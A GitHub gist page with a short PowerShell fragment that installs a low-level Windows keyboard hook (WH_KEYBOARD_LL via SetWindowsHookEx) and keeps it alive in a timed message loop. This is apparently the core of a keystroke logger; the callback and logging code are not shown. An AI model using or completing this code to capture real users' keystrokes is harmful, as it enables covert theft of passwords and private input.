Skip to content

Instantly share code, notes, and snippets.

@secabstraction
Last active January 19, 2016 16:39
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save secabstraction/0f14c7dea491047b195d to your computer and use it in GitHub Desktop.
Save secabstraction/0f14c7dea491047b195d to your computer and use it in GitHub Desktop.
# Set WM_KEYBOARD_LL hook
$Hook = $SetWindowsHookEx.Invoke(0xD, $Callback, $ModuleHandle, 0)
$Stopwatch = [Diagnostics.Stopwatch]::StartNew()
# Message loop
while ($true) {
if ($PSBoundParameters.Timeout -and ($Stopwatch.Elapsed.TotalMinutes -gt $Timeout)) { break }
$PeekMessage.Invoke([IntPtr]::Zero, [IntPtr]::Zero, 0x100, 0x109, 0)
Start-Sleep -Milliseconds 10
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment